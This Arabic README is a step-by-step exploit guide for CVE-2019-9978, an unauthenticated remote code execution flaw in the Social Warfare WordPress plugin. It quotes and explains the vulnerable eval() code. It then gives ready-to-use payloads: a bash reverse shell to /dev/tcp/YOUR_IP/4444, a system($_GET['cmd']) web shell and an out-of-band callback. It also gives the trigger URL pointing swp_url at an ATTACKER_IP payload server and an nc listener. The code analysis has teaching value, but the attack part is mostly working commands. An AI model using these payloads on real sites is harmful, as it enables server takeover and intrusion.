
شرح كامل واستغلال لثغرة CVE-2019-9978 - تنفيذ تعليمات برمجية عن بُعد دون مصادقة في إضافة Social Warfare لووردبريس ≤ 3.5.2. يتضمن تحليلًا للكود القابل للاختراق وأمثلة على الحمولات.

⚠️ إخلاء مسؤولية: هذا المستودع مخصص للاختبارات الأمنية التعليمية والمصرّح بها فقط. استخدمه فقط على أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به غير قانوني.
| الخاصية | القيمة |
|---|---|
| معرّف CVE | CVE-2019-9978 |
| البرنامج المتأثر | إضافة Social Warfare الإصدار ≤ 3.5.2 (ووردبريس) |
| نوع الثغرة | تنفيذ كود عن بُعد (RCE) / تضمين ملفات عن بُعد (RFI) |
| مصادقة مطلوبة | ❌ لا – بدون مصادقة |
| درجة CVSS | 9.8 (حرجة) |
| أُصلح في | الإصدار 3.5.3 |
| اُستغل في البرية | نعم – مارس 2019 |
إضافة Social Warfare هي إضافة ووردبريس شائعة تضيف أزرار مشاركة اجتماعية إلى المواقع. تحتوي الإصدارات من 3.5.0 إلى 3.5.2 على ثغرة RCE حرجة تتيح للمهاجمين تنفيذ كود PHP عشوائي على الخادم دون أي مصادقة.
Social Warfare هي إضافة ووردبريس شائعة تضيف أزرار مشاركة اجتماعية إلى المواقع، مما يتيح للزوار مشاركة المحتوى بسهولة على منصات مثل:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ CRITICAL MISUNDERSTANDING:
// is_admin() only checks if the page is in /wp-admin/
// It does NOT verify authentication or user privileges!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// Step 1: Fetch remote file from user-controlled URL
// No validation, no sanitization, no whitelist!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Step 2: Extract content between <pre> tags
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Step 3: Build PHP code string
$array = 'return ' . $options . ';';
// Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
// ... rest of the migration logic
} catch ( ParseError $e ) {
// ... error handling
}
}
is_admin() ليست أمانًا؟دالة ووردبريس is_admin() لا تتحقق مما إذا كان المستخدم مسجلاً للدخول أو لديه صلاحيات مسؤول. إنها تتحقق فقط مما إذا كانت الصفحة المطلوبة داخل مسار /wp-admin/:
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// Does NOT check authentication!
// Does NOT check user role!
}
المفارقة: عند الوصول إلى /wp-admin/admin-post.php، يعرّف ووردبريس WP_ADMIN = true. هذا يجعل is_admin() تُرجع true حتى للطلبات غير المصادَق عليها، مما يمكّن كتلة الكود الضعيفة من التنفيذ.
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
}
كانت الإضافة تحتوي على ميزة "تصحيح الأخطاء" مخفية كان من المفترض أن تساعد المطورين على تحميل ملفات الإعدادات من عناوين URL خارجية. ومع ذلك، كانت لهذه الميزة عيب قاتل: فهي تنزّل أي ملف من عنوان URL يوفره المستخدم وتنفّذ أي كود تجده بداخله — دون طلب إذن أو التحقق من أن المستخدم مصرّح له.
الاستغلال بسيط:
يستضيف المهاجم ملفًا خبيثًا على خادمه الخاص، ويطلب من الإضافة تنزيله، فتقوم الإضافة بتشغيل كود المهاجم بشكل أعمى على موقع الضحية. وبما أن الإضافة لا تتطلب تسجيل الدخول لتفعيل هذا الأمر، فأي شخص يعرف عنوان URL يمكنه السيطرة على الموقع.
فكّر في الأمر هكذا: تخيّل حارس أمن يفتح أي باب عندما تقول "وضع التصحيح" — دون التحقق مما إذا كنت تعمل هناك أو لديك شارة. هذا بالضبط ما كانت تفعله هذه الثغرة.
يجب أن تُكتب الحمولة بين وسمي <pre></pre>.
استخدم WPScan لتحديد إصدار إضافة Social Warfare:
wpscan --url http://target.com --enumerate vp
إذا كنت قد ثبّتّها بنفسك، لا تنسَ تفعيل الإضافة من لوحة التحكم.
أنشئ payload.txt مع الحمولة التي تريدها، ثم جهّز خادمًا لتقديم تلك الحمولة.
أمثلة على الحمولات:
حمولة اختبار (للتحقق من RCE):
<pre>phpinfo();</pre>
اختبار خارج النطاق:
<pre>@file_get_contents('http://burp collabrator');</pre>
Reverse Shell على لينكس:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
منفّذ أوامر تفاعلي:
<pre>system($_GET['cmd']);</pre>
شغّل خادم HTTP بلغة Python لاستضافة حمولتك:
python3 -m http.server 8000
أصبحت حمولتك الآن متاحة على: http://YOUR_IP:8000/payload.txt
إذا كنت تستخدم localhost:
http://127.0.0.1:8000/payload.txt
بعد إرسال الطلب من الكود الضعيف، يجب أن ترى رمز الحالة 200:

الخيار أ – التفعيل اليدوي:
افتح عنوان URL هذا في متصفحك أو استخدم curl:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
مرة أخرى، إذا كنت تستخدم localhost:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
إذا نجح الأمر، ستحصل على shell!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

اختراق سعيد! 🚀